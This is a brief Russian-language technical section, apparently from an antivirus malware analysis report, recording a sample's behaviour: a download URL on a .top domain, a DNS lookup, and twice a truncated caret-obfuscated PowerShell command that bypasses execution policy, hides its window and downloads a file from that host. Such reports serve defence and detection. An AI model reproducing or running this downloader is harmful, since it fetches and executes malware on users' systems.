Техническая информация
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "p^o^WErs^HEll.E^xE^ -^ex^eCuT^iONPO^l^iC^Y ^b^YPa^ss -n^op^roFI^L^e -^W^I^NDoWSTyle^ h^iD^d^eN ^(nEw-obJeC^T S^yStE^m.net^.W^EbclieNT).^d^O^wNLoAdFi^L^e(^'http://www.zoerpoled.top/r...
- DNS ASK zo###oled.top
- '<SYSTEM32>\cmd.exe' /c "p^o^WErs^HEll.E^xE^ -^ex^eCuT^iONPO^l^iC^Y ^b^YPa^ss -n^op^roFI^L^e -^W^I^NDoWSTyle^ h^iD^d^eN ^(nEw-obJeC^T S^yStE^m.net^.W^EbclieNT).^d^O^wNLoAdFi^L^e(^'http://www.zoerpoled.top/r...' (со скрытым окном)